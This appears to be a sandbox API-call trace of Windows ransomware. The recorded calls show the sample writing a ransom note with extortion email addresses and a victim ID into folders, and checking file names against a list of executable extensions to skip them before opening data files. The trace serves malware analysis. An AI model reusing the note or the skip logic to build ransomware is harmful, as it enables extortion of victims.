	[0078.572] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.572] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.573] CloseHandle (hObject=0x120) returned 1
	[0078.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6190 | out: hHeap=0x300000) returned 1
	[0078.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5d40 | out: hHeap=0x300000) returned 1
	[0078.573] RtlWakeConditionVariable () returned 0x365f70
	[0078.573] GetCurrentThreadId () returned 0xaf0
	[0078.573] GetCurrentThreadId () returned 0xaf0
	[0078.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0078.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0078.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6358 | out: hHeap=0x300000) returned 1
	[0078.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4460
	[0078.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.582] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.582] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.583] CloseHandle (hObject=0x120) returned 1
	[0078.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0078.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0078.583] RtlWakeConditionVariable () returned 0x365f70
	[0078.583] GetCurrentThreadId () returned 0xaf0
	[0078.584] GetCurrentThreadId () returned 0xaf0
	[0078.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9010 | out: hHeap=0x300000) returned 1
	[0078.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6438 | out: hHeap=0x300000) returned 1
	[0078.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9010
	[0078.584] lstrlenW (lpString=".scr") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".scr") returned 0x0
	[0078.584] lstrlenW (lpString=".cmd") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".cmd") returned 0x0
	[0078.584] lstrlenW (lpString=".dll") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".dll") returned 0x0
	[0078.584] lstrlenW (lpString=".bat") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".bat") returned 0x0
	[0078.584] lstrlenW (lpString=".cpl") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".cpl") returned 0x0
	[0078.584] lstrlenW (lpString=".sys") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".sys") returned 0x0
	[0078.584] lstrlenW (lpString=".msc") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".msc") returned 0x0
	[0078.584] lstrlenW (lpString=".com") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".com") returned 0x0
	[0078.584] lstrlenW (lpString=".lnk") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".lnk") returned 0x0
	[0078.584] lstrlenW (lpString=".msp") returned 4
	[0078.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".msp") returned 0x0
	[0078.585] lstrlenW (lpString=".pif") returned 4
	[0078.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch=".pif") returned 0x0
	[0078.585] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpSrch="msp\r\n.pif") returned 0x0
	[0078.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9010 | out: hHeap=0x300000) returned 1
	[0078.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.586] RtlWakeConditionVariable () returned 0x365f70
	[0078.586] GetCurrentThreadId () returned 0xaf0
	[0078.586] GetCurrentThreadId () returned 0xaf0
	[0078.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a90a8 | out: hHeap=0x300000) returned 1
	[0078.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6470 | out: hHeap=0x300000) returned 1
	[0078.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0078.586] lstrlenW (lpString=".scr") returned 4
	[0078.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".scr") returned 0x0
	[0078.586] lstrlenW (lpString=".cmd") returned 4
	[0078.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".cmd") returned 0x0
	[0078.586] lstrlenW (lpString=".dll") returned 4
	[0078.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".dll") returned 0x0
	[0078.586] lstrlenW (lpString=".bat") returned 4
	[0078.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".bat") returned 0x0
	[0078.586] lstrlenW (lpString=".cpl") returned 4
	[0078.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".cpl") returned 0x0
	[0078.587] lstrlenW (lpString=".sys") returned 4
	[0078.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".sys") returned 0x0
	[0078.587] lstrlenW (lpString=".msc") returned 4
	[0078.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".msc") returned 0x0
	[0078.587] lstrlenW (lpString=".com") returned 4
	[0078.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".com") returned 0x0
	[0078.587] lstrlenW (lpString=".lnk") returned 4
	[0078.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".lnk") returned 0x0
	[0078.587] lstrlenW (lpString=".msp") returned 4
	[0078.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".msp") returned 0x0
	[0078.587] lstrlenW (lpString=".pif") returned 4
	[0078.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch=".pif") returned 0x0
	[0078.587] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpSrch="msp\r\n.pif") returned 0x0
	[0078.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a90a8 | out: hHeap=0x300000) returned 1
	[0078.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.587] RtlWakeConditionVariable () returned 0x365f70
	[0078.587] GetCurrentThreadId () returned 0xaf0
	[0078.587] GetCurrentThreadId () returned 0xaf0
	[0078.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9140 | out: hHeap=0x300000) returned 1
	[0078.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a64a8 | out: hHeap=0x300000) returned 1
	[0078.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0078.588] lstrlenW (lpString=".scr") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".scr") returned 0x0
	[0078.588] lstrlenW (lpString=".cmd") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".cmd") returned 0x0
	[0078.588] lstrlenW (lpString=".dll") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".dll") returned 0x0
	[0078.588] lstrlenW (lpString=".bat") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".bat") returned 0x0
	[0078.588] lstrlenW (lpString=".cpl") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".cpl") returned 0x0
	[0078.588] lstrlenW (lpString=".sys") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".sys") returned 0x0
	[0078.588] lstrlenW (lpString=".msc") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".msc") returned 0x0
	[0078.588] lstrlenW (lpString=".com") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".com") returned 0x0
	[0078.588] lstrlenW (lpString=".lnk") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".lnk") returned 0x0
	[0078.588] lstrlenW (lpString=".msp") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".msp") returned 0x0
	[0078.588] lstrlenW (lpString=".pif") returned 4
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch=".pif") returned 0x0
	[0078.588] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpSrch="msp\r\n.pif") returned 0x0
	[0078.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9140 | out: hHeap=0x300000) returned 1
	[0078.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.589] RtlWakeConditionVariable () returned 0x365f70
	[0078.589] GetCurrentThreadId () returned 0xaf0
	[0078.589] GetCurrentThreadId () returned 0xaf0
	[0078.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b04e0 | out: hHeap=0x300000) returned 1
	[0078.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a64e0 | out: hHeap=0x300000) returned 1
	[0078.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b04e0
	[0078.590] lstrlenW (lpString=".scr") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".scr") returned 0x0
	[0078.590] lstrlenW (lpString=".cmd") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".cmd") returned 0x0
	[0078.590] lstrlenW (lpString=".dll") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".dll") returned 0x0
	[0078.590] lstrlenW (lpString=".bat") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".bat") returned 0x0
	[0078.590] lstrlenW (lpString=".cpl") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".cpl") returned 0x0
	[0078.590] lstrlenW (lpString=".sys") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".sys") returned 0x0
	[0078.590] lstrlenW (lpString=".msc") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".msc") returned 0x0
	[0078.590] lstrlenW (lpString=".com") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".com") returned 0x0
	[0078.590] lstrlenW (lpString=".lnk") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".lnk") returned 0x0
	[0078.590] lstrlenW (lpString=".msp") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".msp") returned 0x0
	[0078.590] lstrlenW (lpString=".pif") returned 4
	[0078.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch=".pif") returned 0x0
	[0078.591] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpSrch="msp\r\n.pif") returned 0x0
	[0078.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b04e0 | out: hHeap=0x300000) returned 1
	[0078.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.591] RtlWakeConditionVariable () returned 0x365f70
	[0078.591] GetCurrentThreadId () returned 0xaf0
	[0078.591] GetCurrentThreadId () returned 0xaf0
	[0078.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0578 | out: hHeap=0x300000) returned 1
	[0078.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6518 | out: hHeap=0x300000) returned 1
	[0078.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0578
	[0078.591] lstrlenW (lpString=".scr") returned 4
	[0078.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".scr") returned 0x0
	[0078.591] lstrlenW (lpString=".cmd") returned 4
	[0078.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".cmd") returned 0x0
	[0078.591] lstrlenW (lpString=".dll") returned 4
	[0078.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".dll") returned 0x0
	[0078.591] lstrlenW (lpString=".bat") returned 4
	[0078.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".bat") returned 0x0
	[0078.591] lstrlenW (lpString=".cpl") returned 4
	[0078.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".cpl") returned 0x0
	[0078.592] lstrlenW (lpString=".sys") returned 4
	[0078.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".sys") returned 0x0
	[0078.592] lstrlenW (lpString=".msc") returned 4
	[0078.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".msc") returned 0x0
	[0078.592] lstrlenW (lpString=".com") returned 4
	[0078.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".com") returned 0x0
	[0078.592] lstrlenW (lpString=".lnk") returned 4
	[0078.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".lnk") returned 0x0
	[0078.592] lstrlenW (lpString=".msp") returned 4
	[0078.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".msp") returned 0x0
	[0078.592] lstrlenW (lpString=".pif") returned 4
	[0078.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch=".pif") returned 0x0
	[0078.592] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpSrch="msp\r\n.pif") returned 0x0
	[0078.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0578 | out: hHeap=0x300000) returned 1
	[0078.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.592] RtlWakeConditionVariable () returned 0x365f70
	[0078.592] GetCurrentThreadId () returned 0xaf0
	[0078.592] GetCurrentThreadId () returned 0xaf0
	[0078.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0610 | out: hHeap=0x300000) returned 1
	[0078.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6550 | out: hHeap=0x300000) returned 1
	[0078.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0610
	[0078.593] lstrlenW (lpString=".scr") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".scr") returned 0x0
	[0078.593] lstrlenW (lpString=".cmd") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".cmd") returned 0x0
	[0078.593] lstrlenW (lpString=".dll") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".dll") returned 0x0
	[0078.593] lstrlenW (lpString=".bat") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".bat") returned 0x0
	[0078.593] lstrlenW (lpString=".cpl") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".cpl") returned 0x0
	[0078.593] lstrlenW (lpString=".sys") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".sys") returned 0x0
	[0078.593] lstrlenW (lpString=".msc") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".msc") returned 0x0
	[0078.593] lstrlenW (lpString=".com") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".com") returned 0x0
	[0078.593] lstrlenW (lpString=".lnk") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".lnk") returned 0x0
	[0078.593] lstrlenW (lpString=".msp") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".msp") returned 0x0
	[0078.593] lstrlenW (lpString=".pif") returned 4
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch=".pif") returned 0x0
	[0078.593] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpSrch="msp\r\n.pif") returned 0x0
	[0078.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0610 | out: hHeap=0x300000) returned 1
	[0078.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.594] RtlWakeConditionVariable () returned 0x365f70
	[0078.594] GetCurrentThreadId () returned 0xaf0
	[0078.594] GetCurrentThreadId () returned 0xaf0
	[0078.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b06a8 | out: hHeap=0x300000) returned 1
	[0078.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6588 | out: hHeap=0x300000) returned 1
	[0078.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b06a8
	[0078.594] lstrlenW (lpString=".scr") returned 4
	[0078.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll", lpSrch=".scr") returned 0x0
	[0078.594] lstrlenW (lpString=".cmd") returned 4
	[0078.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll", lpSrch=".cmd") returned 0x0
	[0078.594] lstrlenW (lpString=".dll") returned 4
	[0078.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll", lpSrch=".dll") returned=".dll"
	[0078.594] lstrlenW (lpString=".dll") returned 4
	[0078.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b06a8 | out: hHeap=0x300000) returned 1
	[0078.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.594] RtlWakeConditionVariable () returned 0x365f70
	[0078.594] GetCurrentThreadId () returned 0xaf0
	[0078.594] GetCurrentThreadId () returned 0xaf0
	[0078.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0740 | out: hHeap=0x300000) returned 1
	[0078.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a65c0 | out: hHeap=0x300000) returned 1
	[0078.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0740
	[0078.595] lstrlenW (lpString=".scr") returned 4
	[0078.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll", lpSrch=".scr") returned 0x0
	[0078.595] lstrlenW (lpString=".cmd") returned 4
	[0078.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll", lpSrch=".cmd") returned 0x0
	[0078.595] lstrlenW (lpString=".dll") returned 4
